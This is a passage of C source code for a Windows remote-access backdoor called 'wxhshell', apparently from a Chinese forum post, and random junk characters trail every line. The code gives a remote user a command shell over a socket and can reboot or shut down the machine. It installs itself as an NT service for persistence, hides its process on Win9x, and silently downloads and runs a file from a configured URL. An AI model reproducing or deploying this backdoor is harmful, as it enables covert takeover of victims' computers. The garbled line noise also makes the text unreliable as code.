  case '?': { H3BMN}K~  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 9M .cTIO{  
    break; &8Oy*'  
  } XZpF<7l  
  // 安装 %4h$/~  
  case 'i': { Ky[-ZQQo=5  
    if(Install()) <cR]-Yr~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,N2|P:x  
    else >iWw i'T=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u-X P `  
    break; _R|8_#yM  
    } _/a8X:[(  
  // 卸载 tt]ZGn*  
  case 'r': { 2E=vMAS  
    if(Uninstall()) inv 5>OeG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  )9$>i5l  
    else ADlLodG  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "@+r|x  
    break; `bRt_XGPmF  
    } os`#:Ao5  
  // 显示 wxhshell 所在路径 +"SYG  
  case 'p': { rY(h }z  
    char svExeFile[MAX_PATH]; J [ 4IO  
    strcpy(svExeFile,"\n\r"); >^+c s^jCM  
      strcat(svExeFile,ExeFile); xw83dQ]}^  
        send(wsh,svExeFile,strlen(svExeFile),0); uI_h__  
    break; lEiOE]  
    } ]`O??wN  
  // 重启 w!/se;_H+w  
  case 'b': { .c2Zr|X  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ZHOh(  
    if(Boot(REBOOT)) tCP;IU$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); DTSK*a`  
    else { CXhE+oS5z'  
    closesocket(wsh); a*KJjl?k  
    ExitThread(0); pksF| VS  
    } )\Ay4 d  
    break; W{*w<a_ `  
    } sRf?JyB  
  // 关机 OLgW .j:Ag  
  case 'd': { [n9X5qG~  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Q.])En >i  
    if(Boot(SHUTDOWN)) ~;B@ {kFY)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); '/H+  
    else { b:>t1S Ul  
    closesocket(wsh); FaE,rzn)iD  
    ExitThread(0); LuUfdzH  
    } !&8HA   
    break; xO` O$ie  
    } Oxhc!9F  
  // 获取shell IAa}F!6Q1  
  case 's': { !S}4b   
    CmdShell(wsh); J+20]jI  
    closesocket(wsh); #[aHKq:?b  
    ExitThread(0); I^yInrRh5  
    break; 9)]asY  
  } ~xP4}gs1  
  // 退出 fp2.2 @[  
  case 'x': { I2<t?c:Pn<  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 0!!z'm3  
    CloseIt(wsh); v d}Y$X  
    break; I~P]_D mM  
    } r1QLSD]i6  
  // 离开 j @+QwZL|  
  case 'q': { )]a{cczL"  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); sT|FgB  
    closesocket(wsh); %Ut7%obpi  
    WSACleanup(); 2n8spLZYGY  
    exit(1); | ?])]F  
    break; CHX- 4-84{  
        } j6{9XIR o_  
  } :")iS?l  
  } 4! V--F  
u!WjG@  
  // 提示信息 =]yzy:~ey  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Y< drRK!  
} !XJS"owr  
  } b )mU9   
\gjY h2>  
  return; Y$ To)qo  
} j)neVPf%v  
w-M,@[G  
// shell模块句柄 8@Kvh|  
int CmdShell(SOCKET sock) \9GJa"xA`  
{ op]HF4  
STARTUPINFO si; 7`IoQvX  
ZeroMemory(&si,sizeof(si)); %uWq)D4r  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; !uJD hC  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Q-M"+HO  
PROCESS_INFORMATION ProcessInfo; +:&,Ts/  
char cmdline[]="cmd"; .G|9:b  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); =u#xPI0:  
  return 0; ic_q<Y}  
} LmQS;/:  
Sx", Zb  
// 自身启动模式 $8"G9r  
int StartFromService(void) >SR! *3$5  
{ chr^>%Q_  
typedef struct D[ -Gzqh  
{ p Y[dJxB  
  DWORD ExitStatus; 7 P$>T  
  DWORD PebBaseAddress; xJ18M@" j  
  DWORD AffinityMask; i{ " g 7  
  DWORD BasePriority; :n} NQzs  
  ULONG UniqueProcessId; 2!+saf^-,  
  ULONG InheritedFromUniqueProcessId; m$X0O_*A  
}   PROCESS_BASIC_INFORMATION; qz .{[ l  
+7]]=e<[E  
PROCNTQSIP NtQueryInformationProcess; g~i%*u,Y<  
+jPs0?}s  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; [9S?  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; R;68C6 4  
 aX'R&R  
  HANDLE             hProcess; w`")^KXi  
  PROCESS_BASIC_INFORMATION pbi; e MT5bn  
@ !UuK;  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); >w~Hq9  
  if(NULL == hInst ) return 0; nA#FGfZ{Ge  
*$eMM*4  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); sD[G?X  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Fuuy_+p@G  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); W"a%IO%'  
 @{|vW  
  if (!NtQueryInformationProcess) return 0; lSu\VCG  
B]o5 HA<k  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 2# y!(D8  
  if(!hProcess) return 0; "DniDA  
<FfdOK_  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; I#m0n%-[  
 XAb!hc   
  CloseHandle(hProcess); !\ckUMZ\  
^-yEb\\i  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 9 J0JSy  
if(hProcess==NULL) return 0; dfss_}R  
4._ U  
HMODULE hMod; XsVp7zk\  
char procName[255]; y)B>g/Hoh  
unsigned long cbNeeded; *)6:yn  
O~1vX9  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); eiJ 13`T  
)S;pYVVAl  
  CloseHandle(hProcess); l".LtUf-  
2!u4nxZ.  
if(strstr(procName,"services")) return 1; // 以服务启动 l*`2 EJ  
MY[QYBkn}  
  return 0; // 注册表启动 ,'E+f%  
} #H;yXsR `  
m1mA:R\zM  
// 主模块 #BK3CD(&  
int StartWxhshell(LPSTR lpCmdLine) 2Bf]#l{z  
{ GjmPpKIu\  
  SOCKET wsl; !G0OD$  
BOOL val=TRUE; Sas &P:# r  
  int port=0; $i^#KZ}-WK  
  struct sockaddr_in door; j~IX  
/R2K3E#  
  if(wscfg.ws_autoins) Install(); W.fsW<{4j  
1I{^]]qw  
port=atoi(lpCmdLine); = %O@%v  
hd@ >p.  
if(port<=0) port=wscfg.ws_port; BO3#*J5S\  
|V 3AA   
  WSADATA data; n%M-L[n  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; {Gd<+tQg  
_qZ?|;o^  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   HFr#Ql>g  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); =Qa*-*  
  door.sin_family = AF_INET; %SHjJCS3  
  door.sin_addr.s_addr = inet_addr("127.0.0.1");  yO7xAb  
  door.sin_port = htons(port); )_vE"ryThA  
7 fE QD?C  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { a2{ nrGD  
closesocket(wsl); 01 vEt  
return 1; J(%Jg  
} 9 2e?v8  
ubpVrvu@  
  if(listen(wsl,2) == INVALID_SOCKET) { /ynvQ1#uA  
closesocket(wsl); >8pmClVvmR  
return 1; $<y10DfO  
} : " ([i"  
  Wxhshell(wsl); Vz"Ja  
  WSACleanup(); K,VN?t <h  
<0Mc\wy  
return 0; AS} FRNIVx  
$[p<}o/6v]  
} !OVTs3}  
)<.BN p  
// 以NT服务方式启动 M:!Twz$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ~F</ s.  
{ 'pJ46"D@m  
DWORD   status = 0; qMk"i@"  
  DWORD   specificError = 0xfffffff; `qNhB\  
lcv&/ A  
  serviceStatus.dwServiceType     = SERVICE_WIN32; RY>BP[h  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; @+9x8*~S'  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; v-V#?+#  
  serviceStatus.dwWin32ExitCode     = 0; tP?pN]Q$,  
  serviceStatus.dwServiceSpecificExitCode = 0; t3~ZGOn  
  serviceStatus.dwCheckPoint       = 0; bD&^-& G  
  serviceStatus.dwWaitHint       = 0; Qj?qWVapA  
-FAAP&LG  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Auq)  
  if (hServiceStatusHandle==0) return; rj.]M6#  
| JmEI9n2  
status = GetLastError(); aaN|g{pX  
  if (status!=NO_ERROR) w4:  
{ HG1)q\Xd  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; syEWc(5  
    serviceStatus.dwCheckPoint       = 0; ux[h\Tp  
    serviceStatus.dwWaitHint       = 0; rNdeD~\  
    serviceStatus.dwWin32ExitCode     = status; 0I8w'/s_g9  
    serviceStatus.dwServiceSpecificExitCode = specificError; pwiXA{  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); =Me94w>G3X  
    return; V/=NIeSE  
  } {Z529Ns  
@_gCGI>Q  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; >O{U4_j@(  
  serviceStatus.dwCheckPoint       = 0; i|z=q  
  serviceStatus.dwWaitHint       = 0; m.F \Mn  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ZB+N[VJs)  
} kl0!*j  
;3nR_6\  
// 处理NT服务事件,比如:启动、停止 q'07  
VOID WINAPI NTServiceHandler(DWORD fdwControl) dSD7(s!  
{ :YZqrcr}  
switch(fdwControl) j^t#>tZS  
{ F__(iXxC  
case SERVICE_CONTROL_STOP: z,6X{=  
  serviceStatus.dwWin32ExitCode = 0; x=UwyZ  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; : MOr?"  
  serviceStatus.dwCheckPoint   = 0; ?0v(_ v  
  serviceStatus.dwWaitHint     = 0; Ez3>}E,  
  { L(p{>Ykcc  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); H`js1b1n  
  }  d"E@e21  
  return; 6;LM1 _  
case SERVICE_CONTROL_PAUSE: l3d^V&Sk  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; `}b#O}z)^  
  break; 5 A/[x $q  
case SERVICE_CONTROL_CONTINUE: ,rvw E  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; S%h[e[[fST  
  break; >)/,5VSE  
case SERVICE_CONTROL_INTERROGATE: /rKdxsI*  
  break; 2D5S%27,  
}; 9WXJz;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); C q/936`O  
} Q7 dXTS4H  
[k"@n+%  
// 标准应用程序主函数 -~nU&$ccL  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Hs%;uyI@$  
{ ])d_B\)Kck  
E]^wsS>=  
// 获取操作系统版本 cULASS`,  
OsIsNt=GetOsVer(); 6`KAl rH  
GetModuleFileName(NULL,ExeFile,MAX_PATH); [D]9M"L,vQ  
HFJna2B`  
  // 从命令行安装 3DNw=Ic0k  
  if(strpbrk(lpCmdLine,"iI")) Install(); eYQq@lrWv  
~Rs_ep'+Q2  
  // 下载执行文件 rf2+~B{$,  
if(wscfg.ws_downexe) { y7K&@ Y  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) hAPWEh^  
  WinExec(wscfg.ws_filenam,SW_HIDE); $=7'Cm ?  
} `MMh"# xN  
C%s+o0b  
if(!OsIsNt) { QJBzv|  
// 如果时win9x,隐藏进程并且设置为注册表启动 F9hh- "(Z  
HideProc(); *O>OHX  
StartWxhshell(lpCmdLine); n:hHm,  
} ~! *xi  
else < a g|#  
  if(StartFromService()) M;BDo(1  
  // 以服务方式启动 9uV'# sR  
  StartServiceCtrlDispatcher(DispatchTable); +- ~:E_G  
else WaU+ZgDrG  
  // 普通方式启动 W`baD!*  
  StartWxhshell(lpCmdLine); &kR+7  
taS2b#6\+  
return 0; BPp`r_m8w}  
}
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只看该作者 1 发表于: 2006-10-10
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